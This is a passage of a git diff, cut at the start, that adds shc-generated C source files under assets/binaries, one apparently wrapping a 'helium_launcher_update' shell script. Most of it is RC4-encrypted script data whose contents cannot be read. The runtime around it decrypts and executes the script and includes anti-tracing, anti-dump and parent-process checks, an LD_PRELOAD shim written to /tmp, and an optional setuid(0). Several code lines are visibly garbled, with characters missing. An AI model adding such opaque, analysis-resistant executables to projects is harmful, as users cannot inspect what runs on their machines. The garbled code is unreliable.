"\112\352\033\000\077\221\317\121\203\115\050\327\250\033\242\107" + "\170\134\252\114\113\334\171\313\030\117\367\061\171\302\230\056" + "\360\050\257\324\376\321\014\316\367\270\345\030\235\104\227\136" + "\132\116\215\247\303\362\121\337\241\235\021\220\232\070\267\114" + "\260\311\310\100\116\176\022\007\365\317\024\127\366\307\076\203" + "\337\204\053\166\123\070\316\343\174\252\372\235\241\265\034\273" + "\355\343\346\247\036\234\006\017\332\216\015\253\100\160\145\021" + "\112\111\337\203\303\042\303\162\346\105\204\000\051\020\003\343" + "\067\302\021\153\013\105\114\023\310\310\162\240\344\044\155\060" + "\037\122\354\012\022\313\300\040\047\234\054\042\320\131\064\123" + "\054\274\315\143\124\146\166\034\056\351\275\023\016\052\103\055" + "\175\057\070\220\373\370\260\042\225\334\105\146\066\171\272\142" + "\066\207\305\212\355\074\247\034\046\144\057\064\217\163\141\014" + "\243\232\234\236\223\115\301\050\052\007\217\140\200\111\303\267" + "\321\211\101\277\305\351\333\353\115\013\040\335\176\202\352\041" + "\034\207\300\257\324\201\327\377\211\147\137\011\260\043\300\201" + "\254\002\101\162\354\034\135\072\050\176\027\246\000\001\310\034" + "\210\210\313\135\012\243\134\223\012\274\235\273\337\136\075\213" + "\141\176\375\115\233\133\207\303\331\236\152\331\240\062\366\050" + "\273\301\205\305\145\341\131\160\235\366\053\175\125\150\010\266" + "\347\006\003\202\141\213\106\073\052\260\024\312\342\012\362\235" + "\314\170\143\061\131\275\241\367\264\315\164\011\066\175\277\035" + "\203\303\237\344\117\345\037\171\226\064\103\170\077\065\026\013" + "\256\172\075\007\067\337\377\353\254\163\364\342\360\264\000\164" + "\170\237\130\307\205\170\100\033\255\204\224\354\272\253\370\150" + "\045\066\160\135\025\157\110\302\343\075\245\324\362\245\110\153" + "\105\240\063\313\031\164\347\306\370\173\263\262\047\253\033\114" + "\341\213\251\367\372\362\272\336\060\140\262\043\006\372\216\114" + "\233\301\027\264\065\376\173\056\172\056\340\241\332\374\356\273" + "\207\230\263\202\213\156\140\274\316\023\337\325\015\156\041\251" + "\060\070\136\145\067\331\224\262\010\165\124\342\161\103\235\370" + "\333\121\173\147\300\334\043\216\357\002\143\374\161\204\246\241" + "\275\004\007\365\335\233\247\346\020\374\310\201\077\146\172\032" + "\267\365\201\167\321\245\006\300\250\152\275\031\357\143\272\255" + "\150\301\242\106\134\112\054\155\106\364\356\205\132\151\237\022" + "\137\041\212\060\306\220\361\157\373\257\210\353\023\102\230\173" + "\004\072\302\141\205\356\316\313\342\275\120\074\046\360\117\205" + "\022\331\266\331\152\250\110\145\130\320\120\154\023\350\350\027" + "\043\252\171\250\230\107\164\172\005\304\267\054\265\007\261\307" + "\340\150\241\112\021\351\260\152\272\000\326\315\351\276\345\015" + "\150\137\266\001\247\052\174\254\357\064\330\244\073\212\154\033" + "\363\015\146\004\366\026\156\261\027\105\176\000\003\144\016\154" + "\304\304\155\153\356\351\027\335\035\357\202\130\171\356\164\154" + "\373\332\161\362\360\340\243\010\045\042\010\050\206\027\225\112" + "\333\002\265\312\353\315\247\010\274\051\141\066\027\325\243\023" + "\257\025\005\240\365\250\250\032\312\261\103\121\310\330\234\244" + "\333\122\156\306\037\026\317\334\077\060\023\127\006\266\153\266" + "\313\160\126\300\031\377\333\343\260\037\065\171\370\321\035\323" + "\043\213\232\103\241\152\037\341\233\062\071\241\351\244\127\265" + "\025\256\166\056\255\121\021\136\161\107\327\151\030\365\075\074" + "\200\330\200\042\102\240\004\335\323\075\177\274\342\326\161\367" + "\204\347\045\062\071\067\220\253\177\147\024\227\134\122\324\335" + "\052\125\000\154\365\004\112\310\102\311\205\045\240\367\034\045" + "\337\102\127\031\172\347\304\371\117\331\221\253\053\146\211\126" + "\273\211\302\260\216\015\171\321\327\377\366\167\366\023\234\325" + "\126\363\357\321\333\263\313\052\214\134\326\270\303\137\016\176" + "\351\321\057\170\336\251\111\265\250\077\055\236\123\312\164\251" + "\276\143\173\231\027\106\303\243\243\231\133\146\371\152\345\342" + "\073\025\133\031\276\244\317\147\344\375\006\067\307\173\341\205" + "\337\134\037\366\242\343\232\106\174\366\254\166\140\222\131\233" + "\250\264\265\147\130\205\316\075\202\324\165\112\120\126\320\057" + "\263\357\045\126\322\300\234\117\266\111\305\026\334\037\262\204" + "\323\147\353\053\354\271\151\157\216\336\272\336\065\212\015\350" + "\172\063\077\114\363\333\234\252\045\142\300\001\201\162\205\124" + "\332\160\200\307\052\351\066\270\310\360\227\375\173\245\345\365" + "\330\044\102\314\000\336\166\045\101\067\046\302\252\253\027\204" + "\034\227\113\106\201\202\376\111\163\226\107\356\073\054\343\024" + "\121\045\340\122\004\127\167\105\217\236\010\071\112\037\276\146" + "\267\012\255\071\214\254\203\377\102\312\356\175\366\321\221\110" + "\367\162\232\374\312\022\102\131\261\112\222\373\152\120\142\042" + "\132\020\133\347\274\336\347\376\250\325\174\237\247\016\350\237" + "\201\202\233\113\225\336\244\106\050\067\101\223\210\244\265\342" + "\264\021\312\161\357\261\157\230\206\354\067\055\373\037\315\174" + "\242\150\310\067\106\155\175\157\244\277\003\054\144\270\017\031" + "\311\332\212\271\213\372\121\022\346\211\100\342\251\015\137\113" + "\165\047\203\274\225\001\054\071\300\057\146\045\347\166\076\261" + "\120\310\153\334\302\274\356\251\106\056\214\357\073\353\072\261" + "\023\275\155\250\276\231\342\177\310\111\245\260\277\343\142\020" + "\254\315\354\157\212\332\031\320\010\245\277\104\221\372\365\244" + "\270\142\114\167\374\056\366\305\170\234\166\067\200\330\110\054" + "\245\065\234\060\020\266\000\031\133\300\135\354\272\122\221\163" + "\265\335\352\261\014\341\167\204\175\355\274\375\305\005\052\153" + "\072\307\233\112\175\234\144\331\135\301\306\030\023\127\213\311" + "\065\165\173\101\126\362\306\324\337\203\321\244\210\374\020\303" + "\303\254\016\100\110\162\031\245\064\337\276\110\067\111\021\154" + "\277\214\256\026\176\165\352\135\370\274\002\201\271\022\105\174" + "\276\123\275\007\306\327\255\372\267\153\102\356\264\123\132\164" + "\340\011\212\136\176\165\273\166\061\276\370\353\320\075\147\217" + "\221\045\226\130\374\103\122\264\257\225\242\144\351\375\330\311" + "\007\143\047\205\330\343\374\012\242\364\365\162\062\135\001\304" + "\202\230\034\177\334\157\063\213\004\326\357\356\324\307\267\333" + "\052\337\141\002\303\135\015\145\122\002\330\204\137\332\110\342" + "\162\145\142\116\324\226\331\331\155\311\307\102\220\177\035\272" + "\137\176\275\042\334\312\210\056\315\141\263\055\073\373\020\256" + "\141\162\375\065\011\327\017\166\240\326\270\061\125\326\354\264" + "\125\251\327\061\164\140\140\102\301\023\157\375\017\200\253\160" + "\362\251\246\373\201\265\162\042\213\052\123\341\000\077\226\126" + "\351\156\207\136\316\347\240\220\373\020\215\012\220\071\172\203" + "\342\040\176\144\325\361\206\141\033\331\103\034\031\332\163\002" + "\110\372\140\027\342\001\247\336\021\065\350\241\156\142\044\121" + "\203\243\265\131\224\073\273\260\025\376\315\056\331\100\061\042" + "\073\221\071\036\222\341\374\244\026\344\105\205\107\152\326\313" + "\016\214\045\242\310\340\123\335\337\040\014\270\141\075\332\234" + "\317\024\272\141\366\267\006\015\234\114\222\344\266\151\257\304" + "\365\324\147\275\265\272\233\224\332\247\115\074\344\047\330\264" + "\074\223\026\063\112\034\100\347\150\323\313\036\075\172\343\063" + "\117\112\361\004\004\214\231\337\064\346\033\031\015\364\315\112" + "\207\343\176\322\377\276\271\147\222\204\206\317\377\151\003\116" + "\264\364\123\270\201\354\230\265\322\264\316\340\250\234\053\060" + "\177\251\002\177\150\274\347\372\101\155\312\100\327\316\217\213" + "\302\343\104\103\317\335\371\242\221\310\203\072\144\256\152\344" + "\130\155\143\300\052\113\273\153\270\206\253\220\124\073\033\027" + "\036\140\132\355\075\124\220\316\034\023\011\200\302\164\145\032" + "\341\310\333\013\024\226\167\315\035\042\135\162\135\171\211\173" + "\331\344\151\027\070\371\346\124\015\357\325\317\143\072\352\105" + "\003\305\121\027\134\310\344\172\352\102\354\110\274\165\304\225" + "\132\055\255\222\047\223\347\064\202\275\004\346\367\356\053\373" + "\264\174\023\021\104\370\213\057\072\167\167\366\355\074\214\107" + "\152\071\332\221\315\301\306\117\176\313\066\166\272\141\161\157" + "\336\204\200\042\175\013\122\267\203\312\256\160\006\073\267\160" + "\164\221\002\102\123\311\222\322\224\310\110\116\052\272\275\010" + "\077\076\053\274\111\175\164\314\107\042\075\115\135\364\276\322" + "\206\300\024\332\211\246\254\036\157\365\155\231\257\053\241\356" + "\151\314\253\262\111\037\177\221\102\274\337\237\261\235\162\070" + "\136\207\022\350\056\277\007\235\264\164\066\143\237\327\122\010" + "\244\375\273\356\034\073\177\137\370\136\377\251\374\161\342\133" + "\371\364\103\047\263\112\304\147\277\373\313\136\323\035\147\167" + "\033\043\145\067\136\344\227\127\103\226\000\100\007\342\233\000" + "\327\337\050\213\051\355\362\351\350\275\107\273\333\257\062\366" + "\322\230\056\061\174\305\210\300\133\211\000\143\154\233\144\103" + "\173\214\316\244\171\301\215\141\177\325\035\132\204\117\121\127" + "\347\177\211\144\105\021\045\240\233\045\004\007\301\150\113\074" + "\364\032\341\156\334\157\320\133\105\355\266\312\074\010\042\044" + "\210\253\210\315\274\256\156\130\323\162\140\225\333\254\322\317" + "\306\264\076\243\044\016\377\151\373\265\064\070\276\126\135\106" + "\001\346\023\276\224\202\026\150\364\166\376\317\042\320\237\351" + "\205\336\214\251\354\214\023\350\101\107\041\000\235\176\106\236" + "\144\132\135\371\334\163\141\321\352\137\241\015\060\101\367\265" + "\037\204\136\014\020\162\365\122\271\027\122\126\226\230\365\373" + "\363\122\364\317\306\125\241\261\265\102\276\345\204\266\232\243" + "\072\371\260\112\153\245\235\045\275\357\173\123\210\161\116\173" + "\304\102\113\212\230\355\073\115\057\372\063\264\260\316\127\353" + "\307\010\066\063\256\323\130\153\302\324\276\113\105\015\307\011" + "\120\022\224\350\377\320\066\057\312\151\343\173\067\073\146\377" + "\103\234\063\362\157\214\135\062\140\034\175\246\051\105\260\171" + "\127\104\142\127\024\230\207\337\002\153\133\072\247\302\072\353" + "\137\155\335\317\372\072\001\132\127\177\001\200\304\261\372\034" + "\366\135\164\012\365\373\352\370\147\106\062\016\010\155\371\147" + "\333\326\066\325\021\070\060\150\267\061\351\174\342\344\230\330" + "\101\015\343\067\010\316\057\160\024\142\176\034\317\170\204\252" + "\116\272\200\140\362\260\311\252\341\263\047\303\230\300\234\331" + "\315\177\021\326\116\100\106\142\243\305\177\163\075\003\036\214" + "\276\236\354\261\116\266\134\057\151\203\363\001\103\220\333\020" + "\020\354\346\136\055\054\300\320\361\100\103\057\103\142\273\002" + "\000\247\263\117\136\017\176\307\223\162\311\326\002\244\346\022" + "\221\315\161\276\372\062\217\354\162\323\033\266\065\326\270\065" + "\176\154\204\334\174\003\244\017\166\156\345\171" +#define xecc_z 15 +#define xecc ((&data[24940])) + "\244\231\375\017\040\231\027\047\330\203\326\015\324\154\241\301" + "\310\001\142\223" +#define lsto_z 1 +#define lsto ((&data[24957])) + "\017" +#define pswd_z 256 +#define pswd ((&data[25008])) + "\130\372\161\021\060\360\175\265\314\372\271\161\011\057\337\356" + "\251\362\273\065\226\124\063\371\350\142\353\150\004\260\003\135" + "\253\165\156\334\145\354\221\062\346\113\243\357\172\203\336\044" + "\165\232\030\172\101\072\272\031\274\007\206\373\322\156\264\312" + "\056\223\220\355\137\343\103\024\000\233\175\374\161\054\001\264" + "\043\032\056\144\124\351\175\021\361\004\014\303\162\300\216\241" + "\124\036\216\264\001\321\310\001\155\106\376\336\163\000\223\226" + "\032\302\372\157\254\170\201\235\174\215\141\357\116\360\220\243" + "\016\037\127\020\361\040\022\136\146\020\075\332\020\320\160\053" + "\223\152\233\077\342\034\335\137\251\076\116\370\056\337\233\075" + "\377\362\116\360\023\141\117\172\162\214\124\203\135\304\256\361" + "\056\111\060\021\146\015\161\017\114\300\010\172\237\243\270\237" + "\226\007\220\251\150\337\043\332\154\170\135\311\074\014\272\153" + "\126\353\175\274\371\356\314\105\256\324\300\116\170\171\355\016" + "\200\176\270\350\135\334\303\311\124\040\223\221\055\116\374\203" + "\072\172\100\063\150\014\171\027\341\071\146\131\262\124\150\063" + "\322\041\034\057\376\337\371\122\000\215\344\055\333\341\261\025" + "\133\362\111\303\377\302\333\340\374\101\072\257\226\243\342\150" + "\304\376\230\302\335\222\025\336\037\371\014\373\332\275\021\066" + "\257\132\131\014\356\214\005\327\357\360\100\364\241\104\121\115" + "\271\300\051\037\254\273\122\223\006\366\202\201\171\141\245\357" + "\373\376\373\352\213\000\302\172\361"/* End of data[] */; +#define hide_z 4096 +#define SETUID 0 /* Define as 1 to call setuid(0) at start of script */ +#define DEBUGEXEC 0 /* Define as 1 to debug execvp calls */ +#define TRACEABLE 1 /* Define as 1 to enable ptrace the executable */ +#define HARDENING 0 /* Define as 1 to disable ptrace/dump the executable */ +#define BUSYBOXON 0 /* Define as 1 to enable work with busybox */ +#define MMAP2 0 /* Define as 1 to use syscall mmap2 */ + +#if HARDENING +static const char * shc_x[] = { +"/*", +" * Copyright 2019 - Intika ", +" * Replace ******** with secret read from fd 21", +" * Also change arguments location of sub commands (sh script commands)", +" * gcc -Wall -fpic -shared -o shc_secret.so shc_secret.c -ldl", +" */", +"", +"#define _GNU_SOURCE /* needed to get RTLD_NEXT defined in dlfcn.h */", +"#define PLACEHOLDER \"********\"", +"#include ", +"#include ", +"#include ", +"#include ", +"#include ", +"#include ", +"", +"static char secret[128000]; //max size", +"typedef int (*pfi)(int, char **, char **);", +"static pfi real_main;", +"", +"// copy argv to new location", +"char **copyargs(int argc, char** argv){", +" char **newargv = malloc((argc+1)*sizeof(*argv));", +" char *from,*to;", +" int i,len;", +"", +" for(i = 0; i 0) {", +" int i;", +"", +" if (secret[n - 1] == '\\n') secret[--n] = '\\0';", +" for (i = 1; i < argc; i++)", +" if (strcmp(argv[i], PLACEHOLDER) == 0)", +" argv[i] = secret;", +" }", +"", +" real_main = main;", +"", +" return real___libc_start_main(mymain, argc, argv, init, fini, rtld_fini, stack_end);", +"}", +"", +0}; +#endif /* HARDENING */ + +/* rtc.c */ + +#include +#include + +#include +#include +#include +#include +#include +#include + +/* 'Alleged RC4' */ + +static unsigned char stte[256], indx, jndx, kndx; + +/* + * Reset arc4 stte. + */ +void stte_0(void) +{ + indx = jndx = kndx = 0; + do { + stte[indx] = indx; + } while (++indx); +} + +/* + * Set key. Can be used more than once. + */ +void key(void * str, int len) +{ + unsigned char tmp, * ptr = (unsigned char *)str; + while (len > 0) { + do { + tmp = stte[indx]; + kndx += tmp; + kndx += ptr[(int)indx % len]; + stte[indx] = stte[kndx]; + stte[kndx] = tmp; + } while (++indx); + ptr += 256; + len -= 256; + } +} + +/* + * Crypt data. + */ +void arc4(void * str, int len) +{ + unsigned char tmp, * ptr = (unsigned char *)str; + while (len > 0) { + indx++; + tmp = stte[indx]; + jndx += tmp; + stte[indx] = stte[jndx]; + stte[jndx] = tmp; + tmp += stte[indx]; + *ptr ^= stte[tmp]; + ptr++; + len--; + } +} + +/* End of ARC4 */ + +#if HARDENING + +#include +#include +#include +#include +#define PR_SET_PTRACER 0x59616d61 + +/* Seccomp Sandboxing Init */ +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include + +#define ArchField offsetof(struct seccomp_data, arch) + +#define Allow(syscall) \ + BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \ + BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW) + +struct sock_filter filter[] = { + /* validate arch */ + BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField), + BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0), + BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), + + /* load syscall */ + BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)), + + /* list of allowed syscalls */ + Allow(exit_group), /* exits a process */ + Allow(brk), /* for malloc(), inside libc */ +#if MMAP2 + Allow(mmap2), /* also for malloc() */ +#else + Allow(mmap), /* also for malloc() */ +#endif + Allow(munmap), /* for free(), inside libc */ + + /* and if we don't match above, die */ + BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), +}; +struct sock_fprog filterprog = { + .len = sizeof(filter)/sizeof(filter[0]), + .filter = filter +}; + +/* Seccomp Sandboxing - Set up the restricted environment */ +void seccomp_hardening() { + if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { + perror("Could not start seccomp:"); + exit(1); + } + if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1) { + perror("Could not start seccomp:"); + exit(1); + } +} +/* End Seccomp Sandboxing Init */ + +void shc_x_file() { + FILE *fp; + int line = 0; + + if ((fp = fopen("/tmp/shc_x.c", "w")) == NULL ) {exit(1); exit(1);} + for (line = 0; shc_x[line]; line++) fprintf(fp, "%s\n", shc_x[line]); + fflush(fp);fclose(fp); +} + +int make() { + char * cc, * cflags, * ldflags; + char cmd[4096]; + + cc = getenv("CC"); + if (!cc) cc = "cc"; + + sprintf(cmd, "%s %s -o %s %s", cc, "-Wall -fpic -shared", "/tmp/shc_x.so", "/tmp/shc_x.c -ldl"); + if (system(cmd)) {remove("/tmp/shc_x.c"); return -1;} + remove("/tmp/shc_x.c"); return 0; +} + +void arc4_hardrun(void * str, int len) { + //Decode locally + char tmp2[len]; + char tmp3[len+1024]; + memcpy(tmp2, str, len); + + unsigned char tmp, * ptr = (unsigned char *)tmp2; + int lentmp = len; + int pid, status; + pid = fork(); + + shc_x_file(); + if (make()) {exit(1);} + + setenv("LD_PRELOAD","/tmp/shc_x.so",1); + + if(pid==0) { + + //Start tracing to protect from dump & trace + if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) { + kill(getpid(), SIGKILL); + _exit(1); + } + + //Decode Bash + while (len > 0) { + indx++; + tmp = stte[indx]; + jndx += tmp; + stte[indx] = stte[jndx]; + stte[jndx] = tmp; + tmp += stte[indx]; + *ptr ^= stte[tmp]; + ptr++; + len--; + } + + //Do the magic + sprintf(tmp3, "%s %s", "'********' 21<<<", tmp2); + + //Exec bash script //fork execl with 'sh -c' + system(tmp2); + + //Empty script variable + memcpy(tmp2, str, lentmp); + + //Clean temp + remove("/tmp/shc_x.so"); + + //Sinal to detach ptrace + ptrace(PTRACE_DETACH, 0, 0, 0); + exit(0); + } + else {wait(&status);} + + /* Seccomp Sandboxing - Start */ + seccomp_hardening(); + + exit(0); +} +#endif /* HARDENING */ + +/* + * Key with file invariants. + */ +int key_with_file(char * file) +{ + struct stat statf[1]; + struct stat control[1]; + + if (stat(file, statf) < 0) + return -1; + + /* Turn on stable fields */ + memset(control, 0, sizeof(control)); + control->st_ino = statf->st_ino; + control->st_dev = statf->st_dev; + control->st_rdev = statf->st_rdev; + control->st_uid = statf->st_uid; + control->st_gid = statf->st_gid; + control->st_size = statf->st_size; + control->st_mtime = statf->st_mtime; + control->st_ctime = statf->st_ctime; + key(control, sizeof(control)); + return 0; +} + +#if DEBUGEXEC +void debugexec(char * sh11, int argc, char ** argv) +{ + int i; + fprintf(stderr, "shll=%s\n", sh11 ? sh11 : ""); + fprintf(stderr, "argc=%d\n", argc); + if (!argv) { + fprintf(stderr, "argv=\n"); + } else { + for (i = 0; i <= argc ; i++) + fprintf(stderr, "argv[%d]=%.60s\n", i, argv[i] ? argv[i] : ""); + } +} +#endif /* DEBUGEXEC */ + +void rmarg(char ** argv, char * arg) +{ + for (; argv && *argv && *argv != arg; argv++); + for (; argv && *argv; argv++) + *argv = argv[1]; +} + +void chkenv_end(void); + +int chkenv(int argc) +{ + char buff[512]; + unsigned long mask, m; + int l, a, c; + char * string; + extern char ** environ; + + mask = (unsigned long)getpid(); + stte_0(); + key(&chkenv, (void*)&chkenv_end - (void*)&chkenv); + key(&data, sizeof(data)); + key(&mask, sizeof(mask)); + arc4(&mask, sizeof(mask)); + sprintf(buff, "x%lx", mask); + string = getenv(buff); +#if DEBUGEXEC + fprintf(stderr, "getenv(%s)=%s\n", buff, string ? string : ""); +#endif + l = strlen(buff); + if (!string) { + /* 1st */ + sprintf(&buff[l], "=%lu %d", mask, argc); + putenv(strdup(buff)); + return 0; + } + c = sscanf(string, "%lu %d%c", &m, &a, buff); + if (c == 2 && m == mask) { + /* 3rd */ + rmarg(environ, &string[-l - 1]); + return 1 + (argc - a); + } + return -1; +} + +void chkenv_end(void){} + +#if HARDENING + +static void gets_process_name(const pid_t pid, char * name) { + char procfile[BUFSIZ]; + sprintf(procfile, "/proc/%d/cmdline", pid); + FILE* f = fopen(procfile, "r"); + if (f) { + size_t size; + size = fread(name, sizeof (char), sizeof (procfile), f); + if (size > 0) { + if ('\n' == name[size - 1]) + name[size - 1] = '\0'; + } + fclose(f); + } +} + +void hardening() { + prctl(PR_SET_DUMPABLE, 0); + prctl(PR_SET_PTRACER, -1); + + int pid = getppid(); + char name[256] = {0}; + gets_process_name(pid, name); + + if ( (strcmp(name, "bash") != 0) + && (strcmp(name, "/bin/bash") != 0) + && (strcmp(name, "sh") != 0) + && (strcmp(name, "/bin/sh") != 0) + && (strcmp(name, "sudo") != 0) + && (strcmp(name, "/bin/sudo") != 0) + && (strcmp(name, "/usr/bin/sudo") != 0) + && (strcmp(name, "gksudo") != 0) + && (strcmp(name, "/bin/gksudo") != 0) + && (strcmp(name, "/usr/bin/gksudo") != 0) + && (strcmp(name, "kdesu") != 0) + && (strcmp(name, "/bin/kdesu") != 0) + && (strcmp(name, "/usr/bin/kdesu") != 0) + ) + { + printf("Operation not permitted\n"); + kill(getpid(), SIGKILL); + exit(1); + } +} + +#endif /* HARDENING */ + +#if !TRACEABLE + +#define _LINUX_SOURCE_COMPAT +#include +#include +#include +#include +#include +#include +#include + +#if !defined(PT_ATTACHEXC) /* New replacement for PT_ATTACH */ + #if !defined(PTRACE_ATTACH) && defined(PT_ATTACH) + #define PT_ATTACHEXC PT_ATTACH + #elif defined(PTRACE_ATTACH) + #define PT_ATTACHEXC PTRACE_ATTACH + #endif +#endif + +void untraceable(char * argv0) +{ + char proc[80]; + int pid, mine; + + switch(pid = fork()) { + case 0: + pid = getppid(); + /* For problematic SunOS ptrace */ +#if defined(__FreeBSD__) + sprintf(proc, "/proc/%d/mem", (int)pid); +#else + sprintf(proc, "/proc/%d/as", (int)pid); +#endif + close(0); + mine = !open(proc, O_RDWR|O_EXCL); + if (!mine && errno != EBUSY) + mine = !ptrace(PT_ATTACHEXC, pid, 0, 0); + if (mine) { + kill(pid, SIGCONT); + } else { + perror(argv0); + kill(pid, SIGKILL); + } + _exit(mine); + case -1: + break; + default: + if (pid == waitpid(pid, 0, 0)) + return; + } + perror(argv0); + _exit(1); +} +#endif /* !TRACEABLE */ + +char * xsh(int argc, char ** argv) +{ + char * scrpt; + int ret, i, j; + char ** varg; + char * me = argv[0]; + if (me == NULL) { me = getenv("_"); } + if (me == 0) { fprintf(stderr, "E: neither argv[0] nor $_ works."); exit(1); } + + ret = chkenv(argc); + stte_0(); + key(pswd, pswd_z); + arc4(msg1, msg1_z); + arc4(date, date_z); + if (date[0] && (atoll(date) 1) ? ret : 0; /* Args numbering correction */ + while (i < argc) + varg[j++] = argv[i++]; /* Main run-time arguments */ + varg[j] = 0; /* NULL terminated array */ +#if DEBUGEXEC + debugexec(shll, j, varg); +#endif + execvp(shll, varg); + return shll; +} + +int main(int argc, char ** argv) +{ +#if SETUID + setuid(0); +#endif +#if DEBUGEXEC + debugexec("main", argc, argv); +#endif +#if HARDENING + hardening(); +#endif +#if !TRACEABLE + untraceable(argv[0]); +#endif + argv[1] = xsh(argc, argv); + fprintf(stderr, "%s%s%s: %s\n", argv[0], + errno ? ": " : "", + errno ? strerror(errno) : "", + argv[1] ? argv[1] : "" + ); + return 1; +} diff --git a/assets/binaries/helium_launcher_update.sh.x.c b/assets/binaries/helium_launcher_update.sh.x.c new file mode 100644 index 0000000..aeb1cda --- /dev/null +++ b/assets/binaries/helium_launcher_update.sh.x.c @@ -0,0 +1,1262 @@ +#if 0 + shc Version 4.0.3, Generic Shell Script Compiler + GNU GPL Version 3 Md Jahidul Hamid + + shc -f helium_launcher_update.sh -o launcher-update-helium +#endif + +static char data [] = +#define msg1_z 65 +#define msg1 ((&data[14])) + "\064\274\304\307\336\131\120\171\232\041\334\374\271\243\205\357" + "\044\024\001\223\040\150\032\227\025\362\072\044\103\070\147\047" + "\310\271\116\064\064\073\342\042\111\070\044\066\036\175\102\060" + "\333\030\033\210\344\152\026\346\132\351\112\131\206\125\263\226" + "\371\345\042\050\017\200\372\326\167\242\306\145\353\101\077\143" + "\121\361\224\116\023\247\030\232\267\004\053\014\236\105" +#define tst2_z 19 +#define tst2 ((&data[96])) + "\244\110\341\151\351\355\157\174\110\025\155\366\036\105\250\222" + "\315\336\156\226\145\101\202" +#define msg2_z 19 +#define msg2 ((&data[119])) + "\074\263\225\363\120\334\216\007\241\370\113\347\311\064\216\156" + "\051\031\107\326\256\330\071\155\173" +#define rlax_z 1 +#define rlax ((&data[142])) + "\270" +#define date_z 1 +#define date ((&data[143])) + "\262" +#define text_z 8598 +#define text ((&data[461])) + "\220\051\106\235\310\214\205\114\005\051\224\107\253\066\331\247" + "\162\214\177\254\372\373\111\271\150\172\306\351\124\354\005\344" + "\026\114\202\336\330\007\053\335\060\277\045\334\366\376\204\151" + "\213\004\025\205\377\136\076\150\331\004\122\055\361\130\022\007" + "\244\224\346\174\234\021\132\315\320\200\251\306\176\055\060\011" + "\062\105\216\062\243\314\232\174\321\355\252\302\106\274\311\352" + "\121\257\147\355\300\302\272\221\102\143\130\300\221\210\312\304" + "\315\130\366\161\045\221\355\366\176\227\271\305\124\202\260\245" + "\062\027\222\363\332\114\204\035\260\335\336\102\146\250\006\063" + "\001\374\244\046\216\222\035\015\052\326\322\176\131\202\044\214" + "\232\266\177\164\003\004\222\264\342\160\366\110\031\375\173\032" + "\372\040\101\210\263\136\225\335\065\147\134\217\352\200\033\204" + "\067\232\370\072\237\213\357\201\373\345\311\024\343\105\056\336" + "\145\160\146\031\316\374\366\004\143\123\223\116\324\256\322\013" + "\111\313\106\351\126\065\153\121\033\064\146\377\172\225\335\340" + "\005\103\371\324\100\360\330\244\103\153\362\030\032\304\043\144" + "\217\152\116\345\240\271\067\273\355\235\272\150\062\230\110\067" + "\333\101\013\034\061\344\300\165\120\262\215\153\166\261\320\005" + "\033\036\353\273\327\042\167\305\300\062\055\363\312\165\052\246" + "\267\066\302\351\033\202\136\153\064\354\327\253\235\317\317\303" + "\366\155\246\312\343\155\347\100\375\320\066\176\233\112\201\066" + "\135\144\347\163\000\216\324\213\012\105\366\215\266\062\175\322" + "\163\175\010\341\034\006\333\324\125\164\221\222\073\123\036\034" + "\117\171\240\025\142\052\231\303\030\251\171\226\367\043\103\270" + "\060\220\366\104\256\044\261\106\176\216\271\113\050\265\370\124" + "\242\250\060\255\302\124\075\131\306\053\077\302\120\176\115\343" + "\264\225\176\076\224\250\241\074\044\237\004\052\033\271\237\275" + "\305\107\216\110\163\302\021\045\004\036\013\055\317\171\346\366" + "\360\206\060\372\045\145\052\346\241\324\107\247\137\153\147\312" + "\136\227\003\071\120\003\252\035\120\132\207\365\237\343\311\052" + "\234\170\340\060\365\265\015\302\226\254\001\362\274\121\240\177" + "\127\354\277\350\222\273\262\131\151\344\242\003\142\021\060\256" + "\151\075\232\361\020\302\004\242\044\024\076\374\311\132\041\357" + "\207\217\132\171\300\272\006\364\301\072\320\275\072\117\235\050" + "\305\022\255\070\353\350\373\165\331\353\112\106\047\220\104\376" + "\206\175\160\036\321\362\261\325\272\367\037\235\041\153\127\321" + "\052\075\234\025\265\332\021\321\210\030\021\063\266\252\270\362" + "\270\042\060\250\154\011\237\337\033\303\241\211\347\136\112\266" + "\044\346\063\170\304\233\164\163\132\321\014\104\073\020\247\354" + "\353\277\275\146\216\271\021\254\373\355\157\366\235\015\250\333" + "\372\230\352\117\325\250\250\077\065\333\224\177\274\271\154\243" + "\101\122\223\011\374\115\375\064\034\130\320\331\145\105\247\313" + "\152\161\005\242\110\122\346\041\351\076\165\066\256\123\122\207" + "\202\034\321\074\057\165\222\172\013\201\123\112\221\061\221\022" + "\067\125\227\341\314\112\304\230\164\055\321\077\311\246\152\037" + "\105\043\272\073\126\031\246\063\033\032\364\027\362\063\316\334" + "\312\010\231\054\353\004\240\222\322\357\017\357\167\222\153\123" + "\177\160\345\200\214\250\370\104\155\060\174\336\327\156\030\105" + "\234\377\263\056\225\223\045\015\260\156\170\362\360\374\012\303" + "\155\173\237\266\123\305\062\142\220\322\013\005\311\354\170\065" + "\251\236\321\264\230\113\201\300\300\175\206\104\066\020\177\143" + "\164\267\355\332\275\076\077\315\116\160\031\351\054\041\254\111" + "\245\007\127\042\127\045\105\216\136\310\307\106\164\304\334\172" + "\307\161\043\147\015\274\246\175\325\122\200\312\037\053\362\026" + "\154\234\106\246\173\150\246\173\020\154\362\342\151\057\331\277" + "\307\122\332\033\165\060\332\216\102\371\266\143\270\076\123\227" + "\231\165\263\201\040\075\134\215\072\355\156\143\203\133\041\006" + "\364\206\176\141\136\150\130\344\372\227\056\045\311\277\107\222" + "\127\045\215\057\205\156\170\345\243\066\260\373\133\314\257\326" + "\313\216\234\100\044\244\276\257\341\137\224\315\342\065\255\202" + "\220\317\162\143\306\210\122\040\264\234\145\017\311\001\142\174" + "\237\323\371\020\324\235\045\265\321\322\021\343\136\067\376\347" + "\262\020\046\176\121\364\316\217\256\231\262\171\116\037\024\074" + 